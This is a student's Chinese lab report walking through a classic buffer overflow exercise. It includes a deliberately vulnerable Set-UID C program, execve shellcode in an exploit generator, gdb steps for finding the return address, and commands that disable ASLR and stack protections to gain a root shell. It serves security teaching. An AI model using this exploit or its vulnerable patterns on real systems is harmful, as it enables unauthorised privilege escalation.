ch03 缓冲区溢出漏洞攻击实验

ch03：缓冲区溢出漏洞攻击实验

作业内容：1. 在自己的电脑中完成https://www.shiyanlou.com/courses/231缓冲区溢出漏洞实验。

　　　　　2. 发一篇相关内容的博客， 提交博客链接。

实验介绍：

　　缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况。这一漏洞可以被恶意用户利用来改变程序的流控制，甚至执行代码的任意片段。这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭，溢出会引起返回地址被重写。缓冲区溢出是一种非常普遍、非常危险的漏洞，在各种操作系统、应用软件中广泛存在。利用该攻击，可以导致程序运行失败、系统宕机、重新启动等后果。更为严重的是，可以利用它执行非授权指令，甚至可以取得系统特权，进而进行各种非法操作。

 

实验过程：

（在实验楼实验中已经有详细的步骤，我们只需要根据步骤一步一步来即可）

一、准备阶段

缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况。这一漏洞可以被恶意用户利用来改变程序的流控制，甚至执行代码的任意片段。这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭，溢出会引起返回地址被重写。

　　缓冲区溢出是一种非常普遍、非常危险的漏洞，在各种操作系统、应用软件中广泛存在。利用该攻击，可以导致程序运行失败、系统宕机、重新启动等后果。更为严重的是，可以利用它执行非授权指令，甚至可以取得系统特权，进而进行各种非法操作。

步骤：sudo apt-get update

步骤：sudo apt-get install -y lib32z1 libc6-dev-i386 lib32readline6-dev

步骤：sudo apt-get install -y python3.6-gdbm gdb

　　此过程在linux命令行中就可以执行。

　　需要注意的是：sudo apt-get updata可能会出现这样的问题：invalid operation updata

　　这时候我们只需要改变一下我们的命令行：

sudo apt updata
或者
sudo apt full-upgrade

　　即可。

接下来就可以到具体的操作中。

二、实验步骤

1、Ubuntu 和其他一些 Linux 系统中，使用地址空间随机化来随机堆（heap）和栈（stack）的初始地址，这使得猜测准确的内存地址变得十分困难，而猜测内存地址是缓冲区溢出攻击的关键。因此本次实验中，我们使用以下命令关闭这一功能：

sudo sysctl -w kernel.randomize_va_space=0

2、此外，为了进一步防范缓冲区溢出攻击及其它利用 shell 程序的攻击，许多shell程序在被调用时自动放弃它们的特权。因此，即使你能欺骗一个 Set-UID 程序调用一个 shell，也不能在这个 shell 中保持 root 权限，这个防护措施在 /bin/bash 中实现。

linux 系统中，/bin/sh 实际是指向 /bin/bash 或 /bin/dash 的一个符号链接。为了重现这一防护措施被实现之前的情形，我们使用另一个 shell 程序（zsh）代替 /bin/bash。下面的指令描述了如何设置 zsh 程序：

步骤1.sudo su
步骤2.cd /bin
步骤3.rm sh
步骤4.ln -s zsh sh
步骤5.exit

 3、输入命令 linux32 进入32位linux环境。此时你会发现，命令行用起来没那么爽了，比如不能tab补全了，输入 /bin/bash 使用bash：

4、在 /tmp 目录下新建一个 stack.c 文件：

cd /tmp
vim stack.c

按 i 键切换到插入模式，再输入如下内容：

/* stack.c */

/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof(char *str)
{
    char buffer[12];

    /* The following statement has a buffer overflow problem */ 
    strcpy(buffer, str);

    return 1;
}

int main(int argc, char **argv)
{
    char str[517];
    FILE *badfile;

    badfile = fopen("badfile", "r");
    fread(str, sizeof(char), 517, badfile);
    bof(str);

    printf("Returned Properly\n");
    return 1;
}

通过代码可以知道，程序会读取一个名为“badfile”的文件，并将文件内容装入“buffer”。

5、编译该程序，并设置 SET-UID。命令如下：

sudo su
gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c
chmod u+s stack
exit

我们的目的是攻击刚才的漏洞程序，并通过攻击获得 root 权限。

6、在 /tmp 目录下新建一个 exploit.c 文件，输入如下内容：

/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

char shellcode[] =
    "\x31\xc0" //xorl %eax,%eax
    "\x50"     //pushl %eax
    "\x68""//sh" //pushl $0x68732f2f
    "\x68""/bin"     //pushl $0x6e69622f
    "\x89\xe3" //movl %esp,%ebx
    "\x50"     //pushl %eax
    "\x53"     //pushl %ebx
    "\x89\xe1" //movl %esp,%ecx
    "\x99"     //cdq
    "\xb0\x0b" //movb $0x0b,%al
    "\xcd\x80" //int $0x80
    ;

void main(int argc, char **argv)
{
    char buffer[517];
    FILE *badfile;

    /* Initialize buffer with 0x90 (NOP instruction) */
    memset(&buffer, 0x90, 517);

    /* You need to fill the buffer with appropriate contents here */
    strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");   //在buffer特定偏移处起始的四个字节覆盖sellcode地址  
    strcpy(buffer + 100, shellcode);   //将shellcode拷贝至buffer，偏移量设为了 100

    /* Save the contents to the file "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
}

注意上面的代码，\x??\x??\x??\x?? 处需要添上 shellcode 保存在内存中的地址，因为发生溢出后这个位置刚好可以覆盖返回地址。而 strcpy(buffer+100,shellcode); 这一句又告诉我们，shellcode 保存在 buffer + 100 的位置。下面我们将详细介绍如何获得我们需要添加的地址。

7、现在我们要得到 shellcode 在内存中的地址，输入命令进入 gdb 调试：

gdb stack
disass main

结果如图：

esp 中就是 str 的起始地址，所以我们在地址 0x080484ee 处设置断点。

8、接下来的操作：

# 设置断点
b *0x080484ee
r
i r $esp

最后获得的这个 0xffffcfb0 就是 str 的地址。

按 q 键，再按 y 键可退出调试。

根据语句 strcpy(buffer + 100,shellcode); 我们计算 shellcode 的地址为 0xffffcfb0 + 0x64 = 0xffffd014。

现在修改 exploit.c 文件，将 \x??\x??\x??\x?? 修改为计算的结果 \x14\xd0\xff\xff，注意顺序是反的。

然后，编译 exploit.c 程序：

gcc -m32 -o exploit exploit.c

9、先运行攻击程序 exploit，再运行漏洞程序 stack，观察结果：

whoami 是输入的命令，不是输出结果。

可见，通过攻击，获得了root 权限！

如果不能攻击成功，提示”段错误“，那么请重新使用 gdb 反汇编，计算内存地址。

实验图片：

 

实验练习：

打开系统的地址空间随机化机制，重复用 exploit 程序攻击 stack 程序，观察能否攻击成功，能否获得root权限。将 /bin/sh 重新指向 /bin/bash（或/bin/dash），观察能否攻击成功，能否获得 root 权限。

sudo sysctl -w kernel.randomize_va_space=2

再次执行攻击，结果如下，显示Segmentation fault,指访问的内存超过了系统所给这个程序的内存空间,表是地址出现问题，不再是我们刚刚计算的那个，故此处无法获得root权限

三、实验总结

　　地址的覆盖操作是我们精心设计环境，再通过计算得到的，最终完好的获得了结果，但是真正的目前应对缓冲区溢出有许多防范措施，加之程序、shellcode等本身的防范，故作为技术攻击者，实施一次较好的攻击是需要花费心思的，攻击也是存在难度的，如何克服层层保障机制，其实很有技巧，这次的实验准备都是教我们如何避开这些机制，但当真正的攻击目的在现实中到来，我们需要自己分析，自己设计技巧，这点将是攻击的难点。缓冲区溢出利用代码等脆弱性进行插针操作，在计算机安全领域，缓冲区溢出就好比给自己的程序开了个后门，这种安全隐患是致命的。缓冲区溢出在各种操作系统、应用软件中广泛存在。通过此次实验，我也明白了该攻击广泛性，致命性的由来。